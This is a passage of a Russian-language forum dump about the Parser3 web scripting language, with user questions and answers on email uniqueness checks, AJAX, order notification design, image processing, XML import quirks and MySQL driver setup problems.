и пользователям нравится (и это понятно) хранить, раздавать и пр свой адрес именно с учетом регистра. Даже если бы у пользователей были адреса вида Valdimir.Putin@domain.ru  - было бы тоже самое (такая система невозможна в больших организациях - нужно еще и отчество как то учитывать)"
"65451","В моей организации тоже через точку, но всё с маленькой.\
И вышесказанное лишь мой взгляд на \"типографику\" адресов."
"65453","Тоесть схема такая: в базе лежат адреса которые не должны повторятся  и если проверка дает добро, то её результат автоматически заносится,  без посредничества."
"65458","Вы меня не поняли, судя по всему.\
Откуда и в какой момент берётся переменная (точнее таблица или хеш) $checkemail.email ??"
"65461","[quote]VasyaPupkin@mail.com -- такие адреса похожи на манию величества:-) Я бы это искоренял, если б можно было. Правильнее заводить адрес vasya.pupkin@mail.com, имхо. Но это уже риторический вопрос[/quote]\
Абсолютно с Вами НЕ согласен. Я вообще ненавижу когда пишут что-то с маленькй буквы. \
Я обычно пишу: Www.mail.ru и Medved@Mail.Ru. Вообще я стараюсь все слова с новой строки, названия, слова  скобках - все писать с большой буквы\
Если кто-то пишет с маленькой - это только признак безграмотности и незнания где нахдится Шифт"
"65464","А поконкретнее?\
Задача тривиальная. Автоматизация создания форм для управления БД.\
Где в БД (MySQL) хранить \"понятное название\" поля. Я считал ,что для этого логично использовать комментарий. Но только не знаю, как вытащить его из базы средствами парсера.\
А Вы что предлагаете?"
"65465","Этот форум глючит\
Куда-тщ исчезают целые темы\
Бред"
"65472","Простите, но я не выступал с предложением, улучшить документацию.\
Я также как и вы занимаюсь своими проектами, которые пытаюсь реализовать с помощью парсера.\
И мнение здесь высказываю, как рядовой user, а не опытный программист.\
Так что, если бы я и был рад помочь вам с тем, о чем вы просите, то вряд ли пригодися бы сейчас из-за своей неопытности.\
С другой стороны, хотелось привлечь внимание лиц ответственных за популяризацию технологии Parser к трудностям, с которыми сталкиваемся мы, новички.\
Ведь, и по сей день заявлено на гланой странице parser.ru :\
\
\"Что такое Parser?\
Parser — это технология создания сайтов с помощью простого языка. Он немного сложнее HTML, но не требует особенного умения программировать...\
... На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.\
\"\
\
Но чем больше я углубляюсь в эту технологию, тем больше убеждаюсь в несоответствии этого высказывания действительности.\
Хотя, не это \"мешает жить и трудиться\". А вот, недостаток поддержки со стороны опытных - да. Не говорю здесь о Вашей работе, Миша. Вы оказываете неоценимую поддержку сообществу. Я имею ввиду систематическое применение подхода \"RTFM\", которое, ну, никак не способствует ускорению освоения технологии начинающими, а значит и ее популяризации.\
\
Со своей стороны, я постараюсь как можно скорее набраться необходимого опыта, и, возможно, подключусь к реализации Вашего предложения. Тем более, что идеи есть, и парсер \"не вчера\" начал осваивать..."
"65473","Ну можно ведь было настрить форум так, чтобы допустим день после удалени горело сообщение: \"Удалено\". А так неонятно: все черти куда девается."
"65474","Другое дело! Спасибо за наводку!"
"65475","Все-таки отвечу на 2-4 абзацы Вашего высказывания.\
\
1) Если документации читать по принципу учебника (\"сверху-вниз\", из начала в конец), то всю жизнь можно провести за их чтением.\
Почему именно хеш? Потому что здесь используется не обычная форма записи переменной в виде $variable, а вариант создания хеша\
прямо в вызове метода. Этот случай, конечно, описан в соответствующем разделе, но при этом слабо представляется практическое применение такой конструкции.\
\
2) То, что Вы считаете \"примером плохого подхода в программировании\", имеет практическое применение и, наоборот, упрощает создане кода, а также его понимание в определенных случаях (возможно, я скоро расскажу в каких, если к тому времени сам не разочаруюсь в такой конструкции).\
\
3) Конечно, здесь вы абсолютно правы. Но в современной документации по парсеру перекрестных ссылок явно не достает. А скорее, проблема скрыта даже не в этом, а в недостатках логической структуры документации. Так, например, отсутствует полноценный раздел по работе с БД. Информацию приходится собирать по частям: из уроков, из разных классов, из приложений и даже из примеров, не входящих в документацию."
"65476","В момент захода на страницу регистрации, после ввода данных происходит следующая выборка:\
\
[code]$checkemail[^table::sql{\
	SELECT email\
	FROM user\
	WHERE email = '$form:email'\
}][/code]\
\
впрочем уже код принял такой вариант:\
[code]$checkemail[^string:sql{\
	SELECT email\
	FROM user\
	WHERE email = '$form:email'\
}][/code]"
"65477","Так я о том и говорил, что проверять почту в базе стоит только после проверки RegExp'ом. Это мелочи, но таких может много накопиться.\
\
И ещё можно так, о чём писалось ранее:\
[code]$bEmailExist(^int:sql{\
	SELECT count(*)\
	FROM user\
	WHERE email = '$form:email'\
})[/code]\
\
[code]^if($bEmailExist){ ... }[/code]"
"65483","Прочитал почти все сообщение я в форуме, но не нахожу, что надо.\
\
В общем есть страница с кучей однообразно оформленных ссылок. Как выдернуть все ссылки и сохранить хоть в кэш, хоть куда-нибудь.\
\
Пример (необходимо выдернуть все названия между h1)\
\
$name[^str2.match[<h1>(.*?)<\\/h1>][g]]\
\
если дальше написать $name.1 то получаем только первое совпадение, а как достать остальные?\
\
Понимаю, что вопрос совсем тривиальный и я, скоре всего, где-то невнимательно прочитал... Но уже два дня прошло, а разобраться не получается."
"65484","перебирайте их (menu, for, while) и делайте с ними что пожелаете."
"65486","... дискуссия скатилась к \"более идеологически правильному\" использованию конструкций SQL (что есть очень субъективно), однако в рамках решения данной задачи (не позволить добавить пользователя с уже существующим email) в любом случае подобный подход имеет \"[url=\"/forum/?id=65441\"]баг[/url]\" и более простое в реализации решение (устранить \"баг\" конечно возможно, только это ещё больше усложнит данный подход).\
\
P.S. для тех, кто не понял что за \"баг\" имеет данный подход: после того, как выполнен SELECT, проверяющий существоование email, но до того, как сделан INSERT/UPDATE, может выполнится INSERT от параллельного процесса, который добавит запись с данным email, т.е. в БД окажутся дублирующиеся email (т.е. задача не решена). скорее всего воспроизведётся если подержать нажатой F5 после поста без редиректов/антифлудов/итп.\
\
P.P.S. хотите подискутировать на тему \"идеологической правильности\" SQL инструкций -- создавайте отдельный topic."
"65487","задача: при редактировании страниц админ может сохранять промежуточные версии документа. вики-подход тут как раз идет. немного смущает, что если хранить только diff страниц, то чтобы восстановить страницу, надо делать количество шагов = количеству редактирований."
"65489","Мне нужно просто запустить функцию парсера при помощи JavaScript,\
без перезагрузки страницы.\
\
Как это можно сделать, или нельзя?\
\
Очень прошу перерыл весь форум - решения не нашел."
"65491","В прочем %сабж% ! Стоит делать крупные проекты на Парсер?"
"65492","P.S. это обсасывалось не раз, воспользуйтесь поиском."
"65493","при помощи AJAX например. Или динамически создав тег <script>. Только не [i]выполнить функцию парсера при помощи javascript[/i], а удаленно вызвать страницу с парсеровской функцией при помощи javascript. Без перезагрузки страницы"
"65494","parser3_2_2ru.chm\
\
1) установил Denwer3_Base_Parser_2008-01-13_a2.2.4_p5.2.4_m5.0.45_pma2.6.1_p321.exe\
2) создал sections.cfg, скопировал туда таблицу используя формат tab-delimited\
3) создал auto.p, скопировал туда указанный в примере код\
4) создал index.html, вставил строку ^navigation[]\
5) поместил всё это в http://localhost/Tests/parser3 \
6) вместе с файлом .htaccess в папке 4 файла\
\
Браузер пишет \
\
uri\
column not found\
F:/home/localhost/www/Tests/parser3/auto.p(7:30) \
--------------------------------------------------------------------------------\
menu F:/home/localhost/www/Tests/parser3/auto.p(5:14) \
navigation F:/home/localhost/www/Tests/parser3/index.html(1:2) \
\
В чём моя ошибка?"
"65496","Спасибо."
"65497","Добрый день!\
\
Не знаю, где спросить совета по этой теме, но т.к. пишу на парсере, решил спросить здесь.\
\
Пишу простенький каталог с возможностью заказа товаров/услуг через сайт.\
\
Как только что-либо заказывают нужно как можно быстрее известить об этом фирму (участник каталога). Клиент/серверный софт писать и поддерживать нет возможности.\
\
Как мне видется, есть два пути:\
\
1. Плагин для софта, который стоит у участников, который периодически опрашивает сайт на наличие новых заказов.\
+ просто в реализации\
- неоправданная нагрузка на сервер (около 1000 фирм-участников каждые 1-5 мин. будут опрашивать сервер на наличие новых заказов)\
\
2. IMAP? вспомнил, что когда-то настраивал ящик работать по этому протоколу - новые письма приходили без проверки на наличие оных.\
плагин для софта для работы с почтой по IMAP\
создаём почту фирме и при заказе отсылаем письмо на него, фирма получает новый заказ моментально.\
+ оправданная нагрузка на сервер.\
- сложнее(?) в реализации для программистов фирм-участников\
\
Буду рад комментариям"
"65498","плясать, мне кажется, стоит от имеющегося у фирм-учасников софта и затрат на его модернизацию.\
\
если написать плагин, отправляющий запрос к серверу и получающий информацию о продаже просто (т.е. быстро и дешёво), то мне кажется лучше этим путём и пойти, проапгрейдив сервер.\
\
по поводу производительности раньше времени волноваться незачем, т.к. отдавать данные можно например в виде статических rss-файликов, выкладываемых в определённое место по факту продаж. статические файлики будут отдаваться веб сервером (можно отдельным, \"тонким\" и специально настроенным) очень быстро, а плагин обнаружив новое сделает повторный запрос для получения детализации.\
\
причем имейте в виду, что в любом случае нужно будет делать механизм проверки состояния о продажах участника по его инициативе. т.к., например, если у участника накроется imap сервер, куда вы всю ночь слали сообщения, то он не будет иметь возможности узнать состояние продаж, не смотря на то, что эта информация есть на вашем сервере. другое дело что такие проверки делаться будут не так часто."
"65499","[quote]если написать плагин, отправляющий запрос к серверу и получающий информацию о продаже просто (т.е. быстро и дешёво), то мне кажется лучше этим путём и пойти, проапгрейдив сервер.[/quote]Сервера нет, есть хороший хостинг + сайт. Неужели для такой задачи необходим сервер? Мне кажется даже VPS слишком много для этого. Или я не прав?\
\
[quote]причем имейте в виду, что в любом случае нужно будет делать механизм проверки состояния о продажах участника по его инициативе[/quote]Это само-собой, забыл указать это в п.2, но этот режим должен включаться в случае, если полетит imap.\
\
Вопрос скорее в том, насколько кошерно использовать imap в данной задаче?"
"65500","[quote]Мне кажется даже VPS слишком много для этого. Или я не прав?[/quote]\
Вы не правы. VDS стоит достаточно дешево (От 300 рублей в месяц с безлимитным траффиком). \
Там можно установить свой [i][b]демон[/b][/i], который будет обрабатывать запросы. \
Можно поставить [i][b]ngnix[/b][/i], он позволяет очень быстро отдавать контент на запрос\
В общем VDS не панацея, но добро :-)"
"65503","Продолжается разработка проект LPE (Lite Parser Engine)\
Суть проекта заклюается в том, что Parser первоначально придумывался как \"простой язык\", а Parser3 отошел от этого. Да, он функционален, но он ближе к PHP, а не к \"простому языку\"\
LPE - это новая ветка Parser'а, где упор сделан на простоту, а не функцональность.\
Присоединяйтесь, мы будем рады. Пишите, подумаем\
\
[b][i]Огромная просьба модераторам - не трогайте эту тему, пожалуйста!!![/i][/b]"
"65504","Господа, кто-нибудь может помочь? Unhandled Exception выскакивает вместо сайта www.cleftop.com. Там еще имейл указан, писала, не ответили. Что делать? Совет понизить уровень безопасности не помог. Какие еще варианты? Я компьютерщица, скажите на языке чайников. Спасибо."
"65505","а тому кто в данном случае предлагает \"понизить безопасность\" открутите что-нибудь :)\
\
или просто его больше не слушайте\
\
update:\
судя по http://www.cleftop.com/cgi-bin/parser3.cgi \
лог парсера (parser3.log)у вас лежит прям в корне директории с cgi скриптами"
"65506","лично я под сервером не подразумеваю \"железку\". я пытался сказать что с разумным подходом можно даже при ограниченных ресурсах добиться многого, а если этого не будет хватать рессурсов в какой-то момент -- то лишь тогда что-то \"ускорять\", и апгрейд (переход на другой тарифный план, на VPS, на выделенный сервер, апгрейд сервера, кластер...) -- самый простой способ. также я пытался сказать что существенно проще, когда изменения нужно будет делать в одном месте (это просто оказывается дешевле).\
\
мы ничего не можем вам сообщить конкретного про хостинги, сервера и _вашу_ нагрузку. у нас просто нет ни необходимой информации ни особого желания заниматься расчетами.\
\
чем сложнее система, тем менее она надежна и тем больше затрат она требует на разработку и поддержку. выгода у описанной вами второй системы лишь в уменьшении нагрузки на сервер и в _возможно_ небольшом уменьшении времени реакции.\
\
в первом случае максимальное время, через какое партнёр узнает о продаже -- время между запросами.\
\
во втором случае: время пока почтовый сервер на хостинге отправит письмо + время пока письмо дойдёт до почтового сервера партнёра + время между запросами на проверку почты у imap сервера. если честно, я не уверен, что это время всегда будет меньше чем в первом случае, зато вижу что точек, где может произойти сбой существенно больше.\
\
я бы выбрал первый вариант и изначально при проектировании расчитывал бы на большую нагрузку и строил систему с учетом этого."
"65507","вы опубликуйте ссылку, по которой заинтересованные пойдут чтобы присоединиться к вам, т.к. для данного форума это всё таки off-топик, это форум по 3 парсеру.\
\
мы не считаем, что парсер 3 сильно усложнился по ставнению со 2. простые вещи писать можно почти также просто.\
поэтому ваше начинание нам кажется более чем странным, а к тому же несколько запоздалым."
"65508","я не могу представить себе человека, не понимающего разницу между javascript и серверным скриптовым языком, и при этом разбирающемся в ajax-е %-)\
\
ajax всё таки подразумевает написание и js и кода на сервере (хотя код писать могут разные люди, но все они, по моему, довольно неплохо представляют происходящее в общем виде)."
"65509","[quote]Нам кажется более чем странным, а к тому же несколько запоздалым[/quote]\
О,да. Согласен с Вами на все 100%. Особенно со вторым утверждением (Данное начинание лучше было бы начать год-полтора назад, но время не вернешь)\
Что касается оффтопика, тоже согласен. Но, к сожалению, сайта для LPE еще нет. Вот форум, где могут пофлудить желающие на тему LPE: [url=\"http://webforum.oks71.ru/index.php?showforum=26\"]http://webforum.oks71.ru/index.php?showforum=26[/url]"
"65510","Фича или баг с методом xdoc.importNode[...]?\
\
Я добавляю как обычно узел ^doc.importNode[$nodeSource](1) где $nodeSource есть корневой элемент документа, откуда я делаю импорт. И в итоге получае нечто странное:\
\
[code]<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<page type=\"section\"><head><title/><?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<place>local</place>\
</head><body/></page>[/code]\
\
На сам пример не обращайте внимания, это пример лишь. Странно то, что добавляя элемент, туда добавляется и инструкция <?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>.\
\
В Парсере 3.2.1 такого не было.\
\
То есть на выходе у меня должно получиться:\
\
[code]<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<page type=\"section\"><head><title/>\
<place>local</place>\
</head><body/></page>[/code]\
\
Далее Парсер вроде работает нормально. Но иногда эта лишняя инструкция мешает и все глючит на ней.\
\
Это фишка и я не знаю как надо импортировать правильно узлы или все-таки баг?"
"65511","[code]\
@_exec[sAction;hParams][sTempFileName;sDir;sClearDir;sTempFile;hTmp]\
^if($hParams.sFormat ne \"gif\"){\
	^hParams.delete[iColors]\
}\
$result[^switch[$sAction]{\
	^case[info]{^file::exec[$sScript;;-info;$hParams.sInput]}\
	^case[convert]{^file::exec[$sScript;;-o;$hParams.sOutput;^if(^hParams.bRemoveMeta.int(0)){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{^if(^hParams.bTrueColors.bool(false)){-truecolors}{-quiet}};$hParams.sInput]}\
	^case[rotateJPG]{^file::exec[$sScript;;-jpegtrans;$hParams.sAngle;$hParams.sInput]}\
	^case[rotate]{^file::exec[$sScript;;-o;$hParams.sOutput;-rotate;$hParams.iAngle;-bgcolor;$hParams.iR;$hParams.iG;$hParams.iB;^if($hParams.bRemoveMeta){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};$hParams.sInput]}\
	^case[crop]{^file::exec[$sScript;;-o;$hParams.sOutput;-crop;$hParams.iX;$hParams.iY;$hParams.iCropWidth;$hParams.iCropHeight;^if($hParams.bRemoveMeta){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};$hParams.sInput]}\
	^case[resize]{^file::exec[$sScript;;-o;$hParams.sOutput;-resize;$hParams.sWidth;$hParams.sHeight;^if($hParams.bKeepRatio){-ratio}{-quiet};^if(def $hParams.sFlag){-rflag}{-quiet};^if(def $hParams.sFlag){$hParams.sFlag}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;^if($hParams.iColors){-colors}{-quiet};^if($hParams.iColors){$hParams.iColors}{-quiet};^if($hParams.bRemoveMeta){-rmeta}{-quiet};-rtype;$hParams.sRType;$hParams.sInput]}\
	^case[watermark]{\
		^if($hParams.sFormat ne \"gif\" && $hParams.sFormat ne \"png\"){\
			^file::exec[$sScript;;-o;$hParams.sOutput;-wmfile;$hParams.sWMFile;-wmpos;^hParams.iX.int(0);^hParams.iY.int(0);^if(def $hParams.sPosition){-wmflag}{-quiet};^if(def $hParams.sPosition){$hParams.sPosition}{-quiet};^if($hParams.bRemoveMeta){-rmeta}{-quiet};-out;$hParams.sFormat;-q;$hParams.iQuality;$hParams.sInput]\
		}{\
			$sTempFileName[^math:uid64[].bmp]\
			$sTempFileName[^sTempFileName.lower[]]\
			$sDir[^file:dirname[$hParams.sOutput]]\
			$sClearDir[^sDir.mid(^self.sDocRoot.length[])]\
			$sTempFile[$sDir/$sTempFileName]\
\
			$hTmp[^self._exec[convert][\
				$.sInput[$hParams.sInput]\
				$.sOutput[$sTempFile]\
				$.sFormat[bmp]\
				$.bTrueColors(true)\
				$.iQuality(100)\
			]]\
\
			$hTmp[^self._exec[watermark][\
				$.sInput[$sTempFile]\
				$.sOutput[$sTempFile]\
				$.sFormat[bmp]\
				$.sWMFile[$hParams.sWMFile]\
				$.sPosition[$hParams.sPosition]\
				$.iQuality(100)\
			]]\
\
			^self._exec[convert][\
				$.sOutput[$hParams.sOutput]\
				$.sInput[$sTempFile]\
				$.sFormat[$hParams.sFormat]\
				^if($hParams.sFormat ne \"png\"){$.iColors(^hParams.iColors.int(256))}\
				$.iQuality(^hParams.iQuality.int(100))\
			]\
\
			^file:delete[$sClearDir/$sTempFileName]\
		}\
	}\
	^case[DEFAULT]{^throw[$sClassName;;Action '$sAction' not implemented yet]}\
}]\
[/code]\
\
Как-то так."
"65513","тогда есть второй вариант попроще. сам им пользуюсь"
"65514","По-моему парсер 3 идеально посерединке между простым языком и функциональностью сложных. ИМХО лишнюю энергию и мозговые импульсы лучше было бы направить на развитие именно 3го парсера. Или Вам просто хочется сделать что-то свое?"
"65515","[quote]Или Вам просто хочется сделать что-то свое?[/quote]\
Да, в то числе и это :)"
"65517","Миша, премного благодарен за столь развернутые комментарии.\
\
Ваши доводы разумны и аргументированы. Пойдём первым путём.\
\
А сделать апгрейд до VPS/collocation никогда не поздно, если в нём появится необходимость."
"65518","[quote]Вы не правы. VDS стоит достаточно дешево[/quote]Я имел ввиду VPS как ресурс. Конечно много -- понятие относительное. В любом случае, если будет очевидно, что простой хостинг не справляется с поставленной задачей, переведу на  VPS, делов-то :)\
\
[quote]Там можно установить свой демон, который будет обрабатывать запросы.[/quote]Если память не изменяет, демоны пишутся на плюсах, а это уже копание в сторону клиент-сервера, на что сейчас нет ни ресуров ни времени."
"65519","[quote]Если память не изменяет, демоны пишутся на плюсах[/quote]\
Да, дейтсивтельно, демоны обычно пишут на C/C++\
Но можно написать неплохой демон и на Perl, а я бы не сказал что Perl сложный язык. Написать демон н Perl'е не сложнее чем сделать сайт. Работа с БД осуществляется через одни модули Perl, а работа в качетсве серсиса-демона - с помощью других.\
В общем, решать конечно, Вам, но помните: самый лучший выбор это демон на Perl - проосто и качетвенно"
"65520","ситуация классическая: таблицы Users и UserGroups, для пользователей форума создана группа ForumUsers. вопрос: как мишиным классом авторизации вытащить тока тех юзеров, которые только на форуме?"
"65521","при переходе на главную страницу , появляется ошибка...Unhandled Exception\
не правильно прописан оператор [b]connect[/b]\
вот строка лог файла парсера\
\
[b][Tue Mar  4 11:51:49 2008] [43101] /: /xxx/xxx/xxx.com/www/auto.p(129:34): 'connect' connection string must start with protocol:// [parser.runtime] [uri=/, method=GET, cl=0]\
[/b]\
вроде все прописанно правильно [code]^connect[mysql://user:password@host/database][/code]"
"65523","если так и написано -- то у меня вариантов нет, код простейший.\
\
если подставляется их переменной, то добавьте ^throw[;=$переменная_со_строкой_соединения=] перед вашим connect и убедитесь, что в ней именно то, что вы ожидаете."
"65524","на примере:\
http://www.cleftop.com\
\
воспользоваться кэшом google:\
http://www.google.ru/search?q=CLEFTOP.COM\
http://209.85.129.104/search?q=cache:S-G_D78Je7MJ:cleftop.com/+CLEFTOP.COM&hl=ru&ct=clnk&cd=1&gl=ru&client=firefox-a\
переходы по страницам не работают, но можно так:\
[повторить поиск, включая пропущенные]:\
http://www.google.ru/search?q=CLEFTOP.COM&complete=1&hl=ru&filter=0\
\
воспользоваться кэшом yandex:\
http://www.yandex.ru/yandsearch?text=CLEFTOP.COM\
http://hghltd.yandex.net/yandbtm?url=http%3A%2F%2Fwww.cleftop.com%2F&text=CLEFTOP.COM\
переходы по страницам не работают, но можно так:\
[ещё с сайта], [показать все]:\
http://www.yandex.ru/yandsearch?pag=u&surl=cleftop.com&text=CLEFTOP.COM&rd=0\
\
воспользоваться web архивом:\
http://web.archive.org/web/*/www.cleftop.com\
в данном случае ответа нет (сайт существует недолго), но вот как бывает:\
http://web.archive.org/web/*/www.design.ru\
переходы по сайту и картинки работают.\
\
\
если хочется помочь людям, нужно написать по найденным адресам (см. кэш-ответы).\
\
\
если адресов не найдётся, а хочется разобраться, чей именно домен, есть whois сервис:\
\
http://www.nic.ru/whois/?query=cleftop.com\
тут говорят, что сайт где-то в России и за подробностями отсылают в internic и estdomains\
\
отсылаемся:\
Registrant:\
McHost Ltd\
OOO McHost.Ru (domains гав mchost.ru)\
Usievicha str. 12/14\
Moscow\
Moskovskaya oblast,125284\
RU\
Tel. +495.7082592\
\
Creation Date: 08-Aug-2007\
Expiration Date: 08-Aug-2008\
\
Domain servers in listed order:\
ns2.mchost.ru\
ns1.mchost.ru\
\
\
Administrative Contact:\
McHost Ltd\
OOO McHost.Ru ()\
Usievicha str. 12/14\
Moscow\
Moskovskaya oblast,125284\
RU\
Tel. +495.7082592\
\
Technical Contact:\
McHost Ltd\
OOO McHost.Ru ()\
Usievicha str. 12/14\
Moscow\
Moskovskaya oblast,125284\
RU\
Tel. +495.7082592\
\
Billing Contact:\
McHost Ltd\
OOO McHost.Ru ()\
Usievicha str. 12/14\
Moscow\
Moskovskaya oblast,125284\
RU\
Tel. +495.7082592\
\
Status:ACTIVE\
\
это хостер и хостинг виртуальный.\
\
если есть много энтузиазма, можно написать (или позвонить) этому хостеру, сообщить о проблеме. увы, обычно хостер сам такое исправить не может."
"65525","/webservice/getorders.html\
HTTP authorisation\
[code]\
^for[i](0;100){\
  ^connect[]{\
    $оно[^get_новое_для[$request:HTTP_REMOTE_USER;дата и время последнего ответа сервера, начиная с которой искать новое]]\
    ^if($оно){\
      отдать $оно\
      ^break[]\
    }{\
      ^sleep(60)\
    }\
  }\
}\
[/code]\
\
фирма участник делает запрос, и, со временем, получает либо заказ либо кукиш. repeat.\
\
конкретный формат запроса-ответа на ваше усмотрение, но настойчиво предлагаю web-service. клиент при этом на VS.NET  пишется несколькими мышиными кликами. на java тоже несложно.\
\
участник делает простенькие запросы в бесконечном цикле, увеличив timeout на приём до указанного вами.\
\
плюсы:\
простой протокол = просто программировать, \
статистика (кто и как ходит забирать),\
независимость от канала в сторону участника,\
\
минусы:\
будут болтаться процессы (они будут большую часть времени спать).\
некоторые хостеры не дают больше сколько-то процессов на пользователя."
"65526","А Вы установили на parser3.cgi права 755 ?"
"65527","давайте без бессмысленных предположений?\
если бы прав у парсера не было была бы 500-я ошибка сервера, а не \"unhandled exception\", что говорит от том, что парсер успешно работает, а ошибка где то в коде"
"65530","в Engine есть учетная запись для анонимного юзера? если нет, то как делается назначание прав для анонимов? опишите этот момент :)"
"65531","Не могу разобраться с правами доступа в классе авторизации. Понимаю, что это простая битовая арифметика, но какой бит что означает и как их назначать?"
"65532","Вот Цитаты Админов:\
[quote]Мы проверили. Новый парсер не работает. По вопросам его работы вам лучше задавать вопросы его разработчикам.\
С наилучшими пожеланиями, Svyatoslav Lempert, ISPserver.com.  [/quote]\
\
\
[quote]\
2 часа просидел, к сожалению ничего не получилось. Мне вообще местами не понятна логика работы этого интерпретатора: две сборки в разных директориях, но с одинаковым их содержимым и одинаковым окружением работают по-разному.\
С наилучшими пожеланиями, John Lepikhin, ISPserver.com. [/quote]\
\
[quote]К сожалению, за час его побороть не получилось. Есть ветка на форуме разработчика, правда без решения:\
http://www.parser.ru/forum/?id=64114 \
С наилучшими пожеланиями, John Lepikhin, ISPserver.com. [/quote]\
\
Ошибка:\
[b]can't open the module\
./lib/libparser3mysql.so [/b]\
\
Поиск знаю где, Если есть решение, то пожалуйста ткните носом."
"65535","Я пытаюсь отдать XML-файл вот таким способом:\
\
[code]$response:body[^file::create[text;export.xml;^untaint[xml]{<?xml version=\"1.0\" encoding=\"$request:charset\"?> \
	<gallery></gallery>\
}]][/code]\
\
Тип контента устанавливаю сразу за предыдущей инструкцией:\
\
[code]$response:content-type[\
	$.value[text/xml]\
	$.charset[$response:charset]\
][/code]\
\
На выходе тип такой:\
\
Content-Type	application/octet-stream\
\
То есть Парсер пытается определить тип файла по расширению, и если не находит тип в таблице $MAIN:MIME-TYPES, то естественно выдает тип application/octet-stream. У меня в таблице $MAIN:MIME-TYPES тип для расширения XML не задан и естественно, что парсер решает что это миме-тип application/octet-stream.\
\
Вопрос. Почему миме-тип нельзя сменить путем задания следующей команды?\
\
[code]$response:content-type[\
	$.value[text/xml]\
	$.charset[$response:charset]\
][/code]\
\
Я хочу задавать именно таким способом, потому как на сервере в auto.p этот тип не определен. Ну, чтобы не зависеть от настроек auto.p при парсере."
"65537","[quote]FreeBSD *** 6.3-STABLE FreeBSD 6.3-STABLE #0: Mon Jan 21 04:12:36 CET 2008     root@dione.ispsystem.net:/root/src/sys/i386/compile/ISPSYSTEM_PAE  i386\
[/quote]\
все по рецепту\
http://www.parser.ru/download/freebsd6/\
сейчас попробую еще раз все с начала, на отдельном домене - буду описывать свои действия..."
"65538","1) uname -a\
[quote]FreeBSD *** 6.3-STABLE FreeBSD 6.3-STABLE #0: Mon Jan 21 04:12:36 CET 2008 root@dione.ispsystem.net:/root/src/sys/i386/compile/ISPSYSTEM_PAE i386[/quote]\
\
2) скачал, распаковал, скопировал, все как описано в разделе \"Скачать\"\
\
\
http://мой домен/cgi-bin/parser3/parser3.cgi\
[quote]Parser/3.2.2 (compiled on i386-unknown-freebsd6.2)[/quote]\
\
\
3) открываю _test.html\
[quote]mysql 	./lib/libparser3mysql.so (относительный путь. проверка невозможна) 	libmysqlclient.so (относительный путь. проверка невозможна)[/quote]\
Почему не возможна? как проверить?\
\
[quote]Работа с SQL\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Возможно не положены куда надо драйвера.\
Сообщение об ошибке:\
    can't open the module\
    ./lib/libparser3mysql.so [/quote]\
\
драйвера скачены из раздела \"Скачать\" положены в /cgi-bin/parser3/lib/libparser3mysql.so\
размер файла 32032 binary права 755"
"65539","задание $response:content-type влияет на content-type стандартного output-а. $response:body и $response:download изначально предназначались для выдачи файлов, лежащих на диске (потом была добавлена возможность \"докачки\" выдаваемых таким образом файлов).\
\
т.к. $response:body и $response:download фактически отменяют стандартный output, то очевидно, что на них не должен влиять $response:content-type, т.к. оный может быть определён где-то далеко от места выдачи этих body/download.\
\
считаю что в вашем случае, выдавать таким образом xml -- верх извращения. \
\
если у вас xml в файле -- выдайте его в $response:body[$.file[...]], если у вас есть строка с xml -- выдайте его или в стандартный output или в $response:body[<?xml version=\"1.0\"?>...] и тогда задание $response:content-type будет работать.\
\
однако лично я имел с $response:body немало проблем (идеологических, когда я что-то отлаживаю, пытаюсь выдавать отладочтую информацию в стандартный output, но там ничего не появляется, потому что кто-то с помощью body поменял метод формироания содержимого страницы где-то там...), поэтому я его использую крайне редко и только для случая, описанного выше.\
\
P.S. в принципе можно добавить механизм задания $response:body[$.value[...]$.content-type[...]], но нам этого не было нужно по описанным выше причинам. записал в несрочное todo + и разумеется примем патч."
"65541","а об анонимах я вообще никогда не думал и думать не собираюсь, и тем более назначать им какие-то права.\
\
ничего связанного с классом авторизации и правами я описывать не буду: описывал не раз и текущая версия для меня не актуальна."
"65542","wiki-система, анонимы могут добавлять и изменять статьи. как это будет отражено в базе Engine? ведь там же есть поле для разделения прав."
"65543","гадать нет желания.\
вытягивать информацию, которую предлагает приводить FAQ лень.\
\
в любом случае поведение данного метода внутри парсера не менялось, т.е. скорее всего если подобная несовместимость появилась, то она вызвана переходом на новые xml библиотеки. можете попробовать почитать их changelog-и (на самом деле вас интересует только libxml), собрать себе 3.2.2 с более старыми xml библиотеками или наоборот попробовать более новую libxml (2.0.31), с которой выйдет 3.2.3."
"65544","...Парсер не просто в /cgi-bin/, а не в /cgi-bin/parser/."
"65545","В случае необходимости просто авторизовать под этим пользователем. Тогда ему можно и выдать будет необходимые права. Просто у данного пользователя не будет виден профайл и на сайте не будет показано, что прошла авторизация.\
Чем такой вариант не подходит?"
"65549","как то вы неоднозначно написали...\
у меня парсер лежал\
http://мой домен/cgi-bin/parser3/parser3.cgi\
\
\
переименовал папку\
http://мой домен/cgi-bin/parser/parser3.cgi\
- результат  тот же\
\
скопировал файлы\
в http://мой домен/cgi-bin/ без папки \
результат тотже"
"65550","Очень похоже, что парсер пускается в каком-то странном окружении. Вобще надо заменить парсер на printenv.pl (есть в форуме)  и посмотреть, что он там выдает."
"65551","[quote]\
DOCUMENT_ROOT = /home/bfsoft/data/www/bet.2pay.ru\
GATEWAY_INTERFACE = CGI/1.1\
HTTP_ACCEPT = text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\
HTTP_ACCEPT_CHARSET = windows-1251,utf-8;q=0.7,*;q=0.7\
HTTP_ACCEPT_ENCODING = gzip,deflate\
HTTP_ACCEPT_LANGUAGE = ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\
HTTP_CONNECTION = keep-alive\
